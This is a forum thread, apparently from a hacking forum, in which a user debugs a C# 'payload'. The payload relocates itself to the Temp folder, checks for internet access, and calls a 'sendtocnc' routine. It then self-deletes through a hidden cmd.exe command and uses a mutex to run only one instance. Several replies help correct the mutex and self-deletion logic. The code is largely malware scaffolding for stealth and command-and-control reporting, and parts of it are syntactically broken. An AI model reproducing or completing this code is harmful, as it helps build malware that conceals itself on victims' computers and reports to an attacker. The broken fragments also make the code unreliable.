

Forum:[Hack Forums](#)

Thread: [Unable to self delete after creating mutex](#)

Iera Namhorun - February 10, 2019, 6:32 pm

after making a mutex and moving the payload to another folder, especially in the Temp folder, my payload can't delete itself, what's wrong with the code I typed? or am I implementing it wrong? my wish, after the payload succeeded in making a mutex, he would end the process and then delete himself.

this is my code :

```
Code public void Action()
{
    bool flag;
    do
    {
        flag = Form1.CheckForInternetConnection();
        bool flag2 = flag;
        if (flag2)
        {
            this.Moving();
            Environment.Exit(0);
            Process.Start(new ProcessStartInfo()
            {
                Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"\" + Application.ExecutablePath + "\"",
                WindowStyle = ProcessWindowStyle.Hidden,
                CreateNoWindow = true,
                FileName = "cmd.exe"
            });
        }
    }
    while (!flag);
    Thread.Sleep(100);
    Environment.Exit(0);
}
mutex :
Code public void Moving()
{
    string path = this.tempFold + "\\random";
    string text = this.tempFold + "\\random\\orig.exe";
    bool flag = !Directory.Exists(path);
    if (flag)
    {
        Directory.CreateDirectory(path);
    }
    else
    {
        bool flag2 = File.Exists(text);
        if (flag2)
        {

```

```

        File.Delete(text);
    }
}
string str = "\\" + Process.GetCurrentProcess().ProcessName + ".exe";
string text2 = Directory.GetCurrentDirectory() + str;
string sourceFileName = text2;
File.Move(sourceFileName, text);
}

```

pointandlaugh - February 11, 2019, 1:26 am

(Feb 10, 2019 07:32 PM)Iera Namhorun Wrote: [\[CITE\]](#) Code public void Moving()

```

{
    string path = this.tempFold + "\\random";
    string text = this.tempFold + "\\random\\orig.exe";
    bool flag = !Directory.Exists(path);
    if (flag)
    {
        Directory.CreateDirectory(path);
    }
    else
    {
        bool flag2 = File.Exists(text);
        if (flag2)
        {
            File.Delete(text);
        }
    }
    string str = "\\" + Process.GetCurrentProcess().ProcessName + ".exe";
    string text2 = Directory.GetCurrentDirectory() + str;
    string sourceFileName = text2;
    File.Move(sourceFileName, text);
}

```

I think it's because you're trying to delete the binary that's already running if I'm reading the code correctly, meaning it's locked by the OS. Can you use copy instead?

0xDEAD10CC - February 11, 2019, 7:59 am

You clearly don't know what a mutex is... I also have no idea where the relevance is here with a mutex and self-delete.

Iera Namhorun - February 11, 2019, 8:44 pm

(Feb 11, 2019 02:26 AM)pointandlaugh Wrote: [\[CITE\]](#) I think it's because you're trying to delete the binary that's already running if I'm reading the code correctly, meaning it's locked by the OS. Can you use copy instead?

so, how i can end the running process (binary) before i'am delete the binary

(Feb 11, 2019 08:59 AM)0xDEAD10CC Wrote: [\[CITE\]](#) You clearly don't know what a mutex is... I also have no idea where the relevance is here with a mutex and self-delete.

I just tried to learn it

He B TeMy - February 12, 2019, 12:35 pm

<https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.kill?view=netframework-4.7.2>

You have all the code done at your dispose in .net and you can't even search.

NYANxCAT - February 12, 2019, 2:31 pm

The whole code is wrong. Also I didn't see anything related to mutex. At least use google to read more instead of CP from dnspy.

Delete itself

<https://www.codeproject.com/Articles/31454/How-To-Make-Your-Application-Delete-Itself-Immedia>

Mutex

<https://code.msdn.microsoft.com/windowsapps/Come-evitare-di-eseguire-3dfb6872>

Iera Namhorun - February 12, 2019, 10:01 pm

forget it, it's solved.

I changed it to

Code public Form1()

```
{
    InitializeComponent();
    if (!MeNotRunning())
        Application.Exit();
}
```

public void Action()

string password = this.CreatePw(10);

```
{
    bool flag;
    do
    {
        flag = Form1.CheckForInternetConnection();
        bool flag2 = flag;
        if (flag2)
        {
            this.AlreadyCreated(password);
            this.sendtocnc
                Application.Exit();
                Process.Start(new ProcessStartInfo()
                {
                    Arguments = "/C choice /C Y /N /D Y /T 3 & Del \\" + Application.ExecutablePath + "\\",
                    WindowStyle = ProcessWindowStyle.Hidden,
                    CreateNoWindow = true,
                    FileName = "cmd.exe"
                });
        }
    }
    while (!flag);
    Thread.Sleep(100);
    Application.Exit();
}
```

private bool MeNotRunning()

```
{
    bool result;
    var mutex = new Mutex(true, "app", out result);
}
```

```

        if (!result)
            return false;
        GC.KeepAlive(mutex);
        return true;
    }

```

itcorp - February 14, 2019, 5:21 pm

(Feb 12, 2019 11:01 PM)Iera Namhorun Wrote: [\[CITE\]](#) forget it, it's solved.
I changed it to

Code public Form1()

```

{
    InitializeComponent();
    if (!MeNotRunning())
        Application.Exit();
}

```

public void Action()

string password = this.CreatePw(10);

```

{
    bool flag;
    do
    {
        flag = Form1.CheckForInternetConnection();
        bool flag2 = flag;
        if (flag2)
        {
            this.AlreadyCreated(password);
            this.sendtocnc
                Application.Exit();
            Process.Start(new ProcessStartInfo()
            {
                Arguments = "/C choice /C Y /N /D Y /T 3 & Del \\" + Application.ExecutablePath + "\\",
                WindowStyle = ProcessWindowStyle.Hidden,
                CreateNoWindow = true,
                FileName = "cmd.exe"
            });
        }
    }
    while (!flag);
    Thread.Sleep(100);
    Application.Exit();
}

```

private bool MeNotRunning()

```

{
    bool result;
    var mutex = new Mutex(true, "app", out result);
    if (!result)
        return false;
    GC.KeepAlive(mutex);
    return true;
}

```

}I do not see the need for mutex here,but if you really need to ensure that only one instance of a program run at a time it should look something like this

Code [STAThread]

```
static void Main()
{
    Application.EnableVisualStyles();
    Application.SetCompatibleTextRenderingDefault(false);

    using (var mutex = new Mutex(false, "app"))
    {
        if(!mutex.WaitOne())
        {
            return;
        }

        Application.Run(new Form1());
    }
}
```

}Also you use GC.KeepAlive(mutex) this will prevent the garbage collector from collecting the mutex early but using block also prevent the garbage collector from collecting but will also dispose because in general when everything ends this will be the end of the process,and you do not have to worry will finalizer finish the job in some time so in general GC.KeepAlive(mutex) is practically unnecessary here because it's always more logical to do dispose then close.

0xDEAD10CC - February 14, 2019, 5:30 pm

(Feb 14, 2019 06:21 PM)itcorp Wrote: [\[CITE\]](#) I do not see the need for mutex here,but if you really need to ensure that only one instance of a program run at a time it should look something like this

Code [STAThread]

```
static void Main()
{
    Application.EnableVisualStyles();
    Application.SetCompatibleTextRenderingDefault(false);

    using (var mutex = new Mutex(false, "app"))
    {
        if(!mutex.WaitOne())
        {
            return;
        }

        Application.Run(new Form1());
    }
}
```

}Also you use GC.KeepAlive(mutex) this will prevent the garbage collector from collecting the mutex early but using block also prevent the garbage collector from collecting but will also dispose because in general when everything ends this will be the end of the process,and you do not have to worry will finalizer finish the job in some time so in general GC.KeepAlive(mutex) is practically unnecessary here because it's always more logical to do dispose then close.

That's wrong. The 2nd instance will never run until the first closes but it also won't close on its own if there is an instance already running. The ideal thing to do would be to specify a timeout.

itcorp - February 14, 2019, 5:49 pm

(Feb 14, 2019 06:30 PM)0xDEAD10CC Wrote: [\[CITE\]](#) That's wrong. The 2nd instance will never run until the first closes but it also won't close on its own if there is an instance already running. The ideal thing to do would be to specify a timeout.

You are absolutely right, i predicted to specify a timeout thanks for the corrections.

Iera Namhorun - February 14, 2019, 10:39 pm

(Feb 14, 2019 06:21 PM)itcorp Wrote: [\[CITE\]](#) I do not see the need for mutex here, but if you really need to ensure that only one instance of a program run at a time it should look something like this Code [STAThread]

```
static void Main()
{
    Application.EnableVisualStyles();
    Application.SetCompatibleTextRenderingDefault(false);

    using (var mutex = new Mutex(false, "app"))
    {
        if(!mutex.WaitOne())
        {
            return;
        }

        Application.Run(new Form1());
    }
}
```

}Also you use GC.KeepAlive(mutex) this will prevent the garbage collector from collecting the mutex early but using block also prevent the garbage collector from collecting but will also dispose because in general when everything ends this will be the end of the process, and you do not have to worry will finalizer finish the job in some time so in general GC.KeepAlive(mutex) is practically unnecessary here because it's always more logical to do dispose then close.

thankyou

(Feb 14, 2019 06:21 PM)itcorp Wrote: [\[CITE\]](#) I do not see the need for mutex here, but if you really need to ensure that only one instance of a program run at a time it but it works well, so it doesn't restart the same process.

and I can end the program properly after all the tasks have been executed